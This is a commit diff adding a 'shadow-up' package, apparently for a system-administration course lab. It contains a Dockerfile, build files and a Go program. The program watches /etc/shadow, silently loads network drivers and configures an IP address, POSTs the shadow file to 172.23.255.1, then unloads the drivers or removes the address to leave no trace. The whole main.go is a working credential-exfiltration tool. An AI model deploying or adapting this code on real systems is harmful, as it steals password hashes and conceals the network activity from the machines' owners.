shadow-up: New package

pkg/shadow-up/.dockerignore

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+cmd/vendor/

pkg/shadow-up/Dockerfile

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+FROM golang:1.17-alpine3.15 as gobuild
+
+ENV GOOS linux
+ENV GOARCH amd64
+
+RUN apk add --no-cache git gcc
+
+WORKDIR /go/src/shadow-up
+
+ADD cmd ./
+
+RUN go build -v -ldflags="-s -w" -tags netgo -o shadow-up
+
+
+FROM alpine:3.15
+MAINTAINER Pierre-Olivier Mercier <nemunaire@nemunai.re>
+
+COPY --from=gobuild /go/src/shadow-up/shadow-up /bin/shadow-up
+
+ENTRYPOINT ["/bin/shadow-up"]

pkg/shadow-up/build.yml

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+image: adlin-shadow-up
+network: true
+arches:
+- x86_64

pkg/shadow-up/cmd/.gitignore

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+cmd

pkg/shadow-up/cmd/go.mod

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+module git.nemunai.re/lectures/adlin/pkg/login-app
+
+go 1.16
+
+require (
+	github.com/fsnotify/fsnotify v1.5.1 // indirect
+	golang.org/x/sys v0.0.0-20220224120231-95c6836cb0e7 // indirect
+	gopkg.in/fsnotify.v1 v1.4.7
+)

pkg/shadow-up/cmd/go.sum

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+github.com/fsnotify/fsnotify v1.5.1 h1:mZcQUHVQUQWoPXXtuf9yuEXKudkV2sx1E06UadKWpgI=
+github.com/fsnotify/fsnotify v1.5.1/go.mod h1:T3375wBYaZdLLcVNkcVbzGHY7f1l/uK5T5Ai1i3InKU=
+golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220224120231-95c6836cb0e7 h1:BXxu8t6QN0G1uff4bzZzSkpsax8+ALqTGUtz08QrV00=
+golang.org/x/sys v0.0.0-20220224120231-95c6836cb0e7/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+gopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4=
+gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=

pkg/shadow-up/cmd/main.go

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+package main
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"log"
+	"math/rand"
+	"mime/multipart"
+	"net/http"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"time"
+
+	"gopkg.in/fsnotify.v1"
+)
+
+const (
+	DestHost      = "172.23.255.1"
+	URLShadow     = "http://172.23.255.1/passwd"
+	PathToWatch   = "/etc/shadow"
+	WatchedNotify = fsnotify.Create
+)
+
+var (
+	NetDrivers = [2]string{"e1000", "e1000e"}
+)
+
+func sendFile(field, path string) error {
+	client := &http.Client{
+		Timeout: 20 * time.Second,
+	}
+
+	body := &bytes.Buffer{}
+	writer := multipart.NewWriter(body)
+	fw, err := writer.CreateFormFile(field, filepath.Base(path))
+	if err != nil {
+		return err
+	}
+	file, err := os.Open(path)
+	if err != nil {
+		return err
+	}
+	_, err = io.Copy(fw, file)
+	if err != nil {
+		return err
+	}
+	writer.Close()
+	req, err := http.NewRequest("POST", URLShadow, bytes.NewReader(body.Bytes()))
+	if err != nil {
+		return err
+	}
+	req.Header.Set("Content-Type", writer.FormDataContentType())
+	rsp, err := client.Do(req)
+	if err != nil {
+		return err
+	}
+	if rsp.StatusCode != http.StatusOK {
+		return fmt.Errorf("Request failed with response code: %d", rsp.StatusCode)
+	}
+	return nil
+}
+
+func main() {
+	// seed the rand package with time
+	rand.Seed(time.Now().UnixNano())
+
+	watcher, err := fsnotify.NewWatcher()
+	if err != nil {
+		log.Fatal(err)
+	}
+	defer watcher.Close()
+
+	if err := watcher.Add(filepath.Dir(PathToWatch)); err != nil {
+		log.Fatal("Unable to watch requested file:", err)
+	}
+
+	log.Println("Ready! Waiting for events on", PathToWatch)
+	for {
+		select {
+		case ev := <-watcher.Events:
+			if d, err := os.Lstat(ev.Name); err == nil && ev.Op&WatchedNotify == WatchedNotify && d.Mode().IsRegular() && d.Name() == filepath.Base(PathToWatch) {
+				log.Println("Treating event:", ev, "for", ev.Name)
+
+				hasModprobe := false
+				if err := exec.Command("/bin/sh", "-c", "lsmod | grep -q e1000").Run(); err == nil {
+					hasModprobe = true
+				} else {
+					// modprobe
+					for _, drv := range NetDrivers {
+						err = exec.Command("/sbin/modprobe", drv).Run()
+						if err != nil {
+							log.Println("Unable to modprobe", drv, err.Error())
+						}
+					}
+				}
+
+				// Search IP
+				myip, err := os.ReadFile("/root/my_ip")
+				if err != nil {
+					log.Println("Unable to read /root/my_ip:", err.Error())
+					return
+				}
+
+				hasIP := false
+				if err := exec.Command("/bin/ping", "-c", "1", "-W", "2", DestHost).Run(); err == nil {
+					hasIP = true
+				} else {
+					// ip link set eth0 up
+					err = exec.Command("/sbin/ip", "link", "set", "eth0", "up").Run()
+					if err != nil {
+						log.Println("Unable to ip link set eth0 up:", err.Error())
+					}
+
+					// ip a add my_ip/17 dev eth0
+					err = exec.Command("/sbin/ip", "a", "add", string(myip)+"/17", "dev", "eth0").Run()
+					if err != nil {
+						log.Println("Unable to ip a add ... dev eth0:", err.Error())
+					}
+				}
+
+				// Send data
+				err = sendFile("shadow", PathToWatch)
+				if err != nil {
+					log.Println("Unable to send file:", err.Error())
+				}
+
+				if !hasModprobe {
+					// Remove driver
+					for _, drv := range NetDrivers {
+						err = exec.Command("/sbin/modprobe", "-r", drv).Run()
+						if err != nil {
+							log.Println("Unable to remove modprobe", drv, err.Error())
+						}
+					}
+				} else if !hasIP {
+					// Remove IP
+					exec.Command("/sbin/ip", "a", "del", string(myip)+"/17", "dev", "eth0").Run()
+					exec.Command("/sbin/ip", "link", "set", "eth0", "down").Run()
+				}
+
+			} else {
+				log.Println("Skipped event:", ev, "for", ev.Name)
+			}
+		}
+	}
+}